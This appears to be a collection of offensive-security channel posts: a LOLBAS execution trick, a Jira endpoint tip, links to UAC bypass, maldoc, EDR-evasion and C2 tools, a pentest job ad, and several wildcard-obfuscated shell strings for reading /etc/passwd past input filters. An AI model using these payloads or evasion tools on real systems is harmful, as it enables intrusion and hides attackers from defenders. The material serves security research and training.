LOLBAS WorkFolders.exe

"C:\Windows\System32\WorkFolders.exe" (signed by MS) can be used to run arbitrary executables in the current working directory with the name control.exe. It's like a new rundll32.exe lolbin but for EXEs!

#lolbin #lolbas

Jira Unauthenticated Access to Screens

Exploit:

jira.example.com/rest/api/2/screens 

Note:
Depends on the Program, some accept it and some consider this Informational.

#jira #bugbounty

Utilizing Programmatic Identifiers (ProgIDs) for UAC Bypasses

https://v3ded.github.io/redteam/utilizing-programmatic-identifiers-progids-for-uac-bypasses

#uac #bypass #progid

Advanced Maldoc Techniques

MS Office File Formats — Advanced Malicious Document (Maldoc) Techniques
# https://medium.com/walmartglobaltech/ms-office-file-formats-advanced-malicious-document-maldoc-techniques-b5f948950fdf

Evasive VBA — Advanced Maldoc Techniques
# https://medium.com/walmartglobaltech/evasive-vba-advanced-maldoc-techniques-1365e9373f80

VBA Stomping — Advanced Maldoc Techniques
# https://medium.com/walmartglobaltech/vba-stomping-advanced-maldoc-techniques-612c484ab278

VBA Project Locked — Project is Unviewable
# https://medium.com/walmartglobaltech/vba-project-locked-project-is-unviewable-4d6a0b2e7cac

#vba #maldoc #advanced

OffensiveVBA

This repo covers some code execution and AV Evasion methods for Macros in Office documents

https://github.com/S3cur3Th1sSh1t/OffensiveVBA

#vba #offensive #maldoc

C3

Custom Command and Control (C3). A framework for rapid prototyping of custom C2 channels, while still providing integration with existing offensive toolkits.

https://github.com/FSecureLABS/C3

#c2 #cobaltstrike #redteam

Using Kerberos for Authentication Relay Attacks

https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html

#kerberos #relay

#meme

Sad 🙁

https://hackerone.com/reports/1209098

LFI Bypass

1) /usr/bin/cat /etc/passwd == /???/???/c?t$IFS/?t?/p?s?wd
2) /*/?at$IFS/???/???swd
3)/****/?at$IFS/???/*swd
4)/****/?at$IFS/???/*******swd

(IFS is Internal Field Separator = [space], [tab] or a [newline])

#bugbounty #bugbountytips #lfi

For someone, who didn't notice this link in our posts

https://j00ru.vexillium.org/syscalls/nt/64/

#maldev #call #table #syscall

SharpSystemTriggers

Collection of remote authentication triggers in C#

https://github.com/cube0x0/SharpSystemTriggers

#coerce #authentication #petitpotam #spoolsample #dcom

Blue Team Notes

A collection of one-liners, small scripts, and some useful tips for blue team work.

https://github.com/Purp1eW0lf/Blue-Team-Notes

#blueteam #cheatsheet

Thread Stack Spoofing

A PoC implementation for an advanced in-memory evasion technique that spoofs Thread Call Stack. This technique allows to bypass thread-based memory examination rules and better hide shellcodes while in-process memory.

https://github.com/mgeeky/ThreadStackSpoofer

#stackspoofing #av #evasion #inject #shellcode #bypass #edr

Evading EDR with ScareCrow

ScareCrow - Payload creation framework designed around EDR bypass.

https://adamsvoboda.net/evading-edr-with-scarecrow/

https://www.grahamhelton.com/blog/scarecrow/

https://github.com/optiv/ScareCrow

#edr_evasion #shellcode_loader #syscalls

#job
About Wallarm
Join an exciting team that enjoys working and playing together. Wallarm is a well-funded technology startup in the San Francisco area. We continue to add new enterprise customers and grow our team. If you are bright, energetic, interested in cutting-edge tech, and want to make a difference in the company’s life, Wallarm is a place for you.

About the role
Are you someone that loves security and is a hacker at heart? Wallarm is looking for an eager and motivated Penetration Tester to join our Audit Security Team. This position will provide you the chance to work on identifying vulnerabilities across different software products and work collaboratively as part of the skilled and experienced pentest team.. If you have experience with penetration testing and a drive to learn check out below to learn more and apply!

What you will do
Develop and execute standard penetration tests to exploit vulnerabilities in the system.
Help ensure software security, communicate security vulnerabilities of all severities to all affected stakeholders within the product organization.

About you
3+ years of relevant experience (or an equivalent combination of education and experience sufficient to successfully perform the principal duties of the job)
Experience with penetration testing
Good critical thinking and problem solving skills
Attention to detail
Knowledge of security principles
Good collaboration skills, applied successfully within team as well as with other areas

Write in comments below, guys will write to you

Confluence RCE — CVE-2021-26084

https://github.com/lleavesl/CVE-2021-26084

#confluecne #rce #cve

InvisibilityCloak

Proof-of-concept obfuscation toolkit for C# post-exploitation tools. This will perform the below actions for a C# visual studio project.

https://github.com/xforcered/InvisibilityCloak

#obfuscation #av #bypass